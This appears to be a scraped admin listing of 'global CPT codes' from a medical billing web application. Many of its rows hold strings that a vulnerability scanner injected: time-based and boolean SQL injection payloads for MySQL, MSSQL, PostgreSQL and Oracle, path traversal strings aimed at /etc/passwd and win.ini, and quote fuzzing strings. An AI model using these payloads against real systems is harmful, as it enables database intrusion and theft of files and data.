List Global Cpt Code

S.No. Cpt Code Short Description Long Description Global Rates Tos Notes Created On
101 94102 0.00 1 04-06-2023 05:43 AM
102 94102 0.00 1 04-06-2023 05:43 AM
103 94102 0.00 1 04-06-2023 05:43 AM
104 94102 0.00 1 04-06-2023 05:43 AM
105 94102 0.00 1 04-06-2023 05:43 AM
106 94102 0.00 1 04-06-2023 05:43 AM
107 94102 0.00 1 04-06-2023 05:43 AM
108 94102 0.00 1 04-06-2023 05:43 AM
109 94102 0.00 1 04-06-2023 05:43 AM
110 94102 -1" OR 2+758-758-1=0+0+0+1 -- 0.00 1 04-06-2023 05:53 AM
111 94102 if(now()=sysdate(),sleep(15),0) 0.00 1 04-06-2023 05:53 AM
112 94102 0'XOR(if(now()=sysdate(),sleep(15),0))XOR'Z 0.00 1 04-06-2023 05:54 AM
113 94102 0"XOR(if(now()=sysdate(),sleep(15),0))XOR"Z 0.00 1 04-06-2023 05:54 AM
114 94102 TtgNQgRi 0.00 1 04-06-2023 05:55 AM
115 94102 -1 OR 2+728-728-1=0+0+0+1 -- 0.00 1 04-06-2023 05:55 AM
116 94102 -1 OR 2+923-923-1=0+0+0+1 0.00 1 04-06-2023 05:55 AM
117 94102 -1' OR 2+479-479-1=0+0+0+1 -- 0.00 1 04-06-2023 05:55 AM
118 94102 -1' OR 2+574-574-1=0+0+0+1 or 'aMfpuXC4'=' 0.00 1 04-06-2023 05:55 AM
119 94102 -1" OR 2+826-826-1=0+0+0+1 -- 0.00 1 04-06-2023 05:55 AM
120 94102 (select(0)from(select(sleep(15)))v)/*'+(select(0)from(select(sleep(15)))v)+'"+(select(0)from(select(sleep(15)))v)+"*/ 0.00 1 04-06-2023 05:55 AM
121 94102 if(now()=sysdate(),sleep(15),0) 0.00 1 04-06-2023 05:55 AM
122 94102 -1; waitfor delay '0:0:15' -- 0.00 1 04-06-2023 05:55 AM
123 94102 0'XOR(if(now()=sysdate(),sleep(15),0))XOR'Z 0.00 1 04-06-2023 05:55 AM
124 94102 -1); waitfor delay '0:0:15' -- 0.00 1 04-06-2023 05:56 AM
125 94102 0"XOR(if(now()=sysdate(),sleep(15),0))XOR"Z 0.00 1 04-06-2023 05:56 AM
126 94102 -1)); waitfor delay '0:0:15' -- 0.00 1 04-06-2023 05:56 AM
127 94102 -5 OR 712=(SELECT 712 FROM PG_SLEEP(15))-- 0.00 1 04-06-2023 05:59 AM
128 94102 0.00 AddGlobalCptCode/. 04-06-2023 05:42 AM
129 94102 0.00 1 04-06-2023 05:42 AM
130 94102 0.00 1 04-06-2023 05:42 AM
131 94102 0.00 1 04-06-2023 05:42 AM
132 94102 0.00 1 04-06-2023 05:42 AM
133 94102 0.00 1 04-06-2023 05:42 AM
134 94102 0.00 1 04-06-2023 05:42 AM
135 94102 0.00 1 04-06-2023 05:42 AM
136 94102 '"() 0.00 1 04-06-2023 05:42 AM
137 94102 0.00 1 04-06-2023 05:42 AM
138 94102 0.00 1 '"() 04-06-2023 05:42 AM
139 94102 0.00 1 04-06-2023 05:42 AM
140 94102 '"() 0.00 1 04-06-2023 05:42 AM
141 94102 0.00 04-06-2023 05:42 AM
142 94102 0.00 1 04-06-2023 05:42 AM
143 94102 0.00 '"() 04-06-2023 05:42 AM
144 94102 0.00 1 04-06-2023 05:42 AM
145 94102 0.00 1 04-06-2023 05:42 AM
146 94102 0.00 1 04-06-2023 05:42 AM
147 94102 0.00 1 04-06-2023 05:42 AM
148 94102 0.00 1 04-06-2023 05:42 AM
149 94102 0.00 1 04-06-2023 05:42 AM
150 94102 0.00 1 04-06-2023 05:42 AM
151 94102 ../../../../../../../../../../../../../../etc/passwd 0.00 1 04-06-2023 05:42 AM
152 94102 ../../../../../../../../../../../../../../windows/win.ini 0.00 1 04-06-2023 05:42 AM
153 94102 0.00 1 04-06-2023 05:42 AM
154 94102 ../ 0.00 1 04-06-2023 05:42 AM
155 94102 0.00 1 ../../../../../../../../../../../../../../etc/passwd 04-06-2023 05:42 AM
156 94102 0.00 1 ../../../../../../../../../../../../../../windows/win.ini 04-06-2023 05:42 AM
157 94102 0.00 1 04-06-2023 05:42 AM
158 94102 0.00 1 04-06-2023 05:42 AM
159 94102 0.00 1 ../ 04-06-2023 05:42 AM
160 94102 ../../../../../../../../../../../../../../etc/passwd 0.00 1 04-06-2023 05:42 AM
161 94102 ../../../../../../../../../../../../../../windows/win.ini 0.00 1 04-06-2023 05:42 AM
162 94102 0.00 1 04-06-2023 05:42 AM
163 94102 0.00 1 04-06-2023 05:43 AM
164 94102 0.00 1 04-06-2023 05:44 AM
165 94102 0.00 1 04-06-2023 05:52 AM
166 94102 0.00 1 04-06-2023 05:52 AM
167 94102 67ZpBnRj 0.00 1 04-06-2023 05:53 AM
168 94102 -1 OR 2+514-514-1=0+0+0+1 -- 0.00 1 04-06-2023 05:53 AM
169 94102 -1 OR 2+25-25-1=0+0+0+1 0.00 1 04-06-2023 05:53 AM
170 94102 -1' OR 2+299-299-1=0+0+0+1 -- 0.00 1 04-06-2023 05:53 AM
171 94102 -1' OR 2+870-870-1=0+0+0+1 or 'CSjkG0uk'=' 0.00 1 04-06-2023 05:53 AM
172 94102 0.00 1 04-06-2023 05:54 AM
173 94102 0.00 1 04-06-2023 05:54 AM
174 94102 (select(0)from(select(sleep(15)))v)/*'+(select(0)from(select(sleep(15)))v)+'"+(select(0)from(select(sleep(15)))v)+"*/ 0.00 1 04-06-2023 05:56 AM
175 94102 1 waitfor delay '0:0:15' -- 0.00 1 04-06-2023 05:57 AM
176 94102 -1; waitfor delay '0:0:15' -- 0.00 1 04-06-2023 05:57 AM
177 94102 Dt6X87Jj'; waitfor delay '0:0:15' -- 0.00 1 04-06-2023 05:57 AM
178 94102 -1); waitfor delay '0:0:15' -- 0.00 1 04-06-2023 05:57 AM
179 94102 Y4M5XT63'); waitfor delay '0:0:15' -- 0.00 1 04-06-2023 05:58 AM
180 94102 -1)); waitfor delay '0:0:15' -- 0.00 1 04-06-2023 05:58 AM
181 94102 NSpibknL')); waitfor delay '0:0:15' -- 0.00 1 04-06-2023 05:58 AM
182 94102 1 waitfor delay '0:0:15' -- 0.00 1 04-06-2023 05:59 AM
183 94102 -1)) OR 928=(SELECT 928 FROM PG_SLEEP(15))-- 0.00 1 04-06-2023 06:00 AM
184 94102 5n1rBBaQ')); waitfor delay '0:0:15' -- 0.00 1 04-06-2023 06:01 AM
185 94102 3Wer6eOx' OR 658=(SELECT 658 FROM PG_SLEEP(15))-- 0.00 1 04-06-2023 06:01 AM
186 94102 -5 OR 404=(SELECT 404 FROM PG_SLEEP(15))-- 0.00 1 04-06-2023 06:01 AM
187 94102 x42gakkh') OR 427=(SELECT 427 FROM PG_SLEEP(15))-- 0.00 1 04-06-2023 06:02 AM
188 94102 -5) OR 710=(SELECT 710 FROM PG_SLEEP(15))-- 0.00 1 04-06-2023 06:02 AM
189 94102 c5eS0NNY')) OR 63=(SELECT 63 FROM PG_SLEEP(15))-- 0.00 1 04-06-2023 06:03 AM
190 94102 -1)) OR 746=(SELECT 746 FROM PG_SLEEP(15))-- 0.00 1 04-06-2023 06:03 AM
191 94102 *DBMS_PIPE.RECEIVE_MESSAGE(CHR(99)||CHR(99)||CHR(99),15) 0.00 1 04-06-2023 06:03 AM
192 94102 qh0oNd8w' OR 53=(SELECT 53 FROM PG_SLEEP(15))-- 0.00 1 04-06-2023 06:03 AM
193 94102 '||DBMS_PIPE.RECEIVE_MESSAGE(CHR(98)||CHR(98)||CHR(98),15)||' 0.00 1 04-06-2023 06:04 AM
194 94102 1'" 0.00 1 04-06-2023 06:04 AM
195 94102 @@Cu2lv 0.00 1 04-06-2023 06:04 AM
196 94102 IGDJRn89') OR 463=(SELECT 463 FROM PG_SLEEP(15))-- 0.00 1 04-06-2023 06:04 AM
197 94102 0.00 1 04-06-2023 06:04 AM
198 94102 x4iuNw5N')) OR 224=(SELECT 224 FROM PG_SLEEP(15))-- 0.00 1 04-06-2023 06:05 AM
199 94102 0.00 1 04-06-2023 06:05 AM
200 94102 *DBMS_PIPE.RECEIVE_MESSAGE(CHR(99)||CHR(99)||CHR(99),15) 0.00 1 04-06-2023 06:05 AM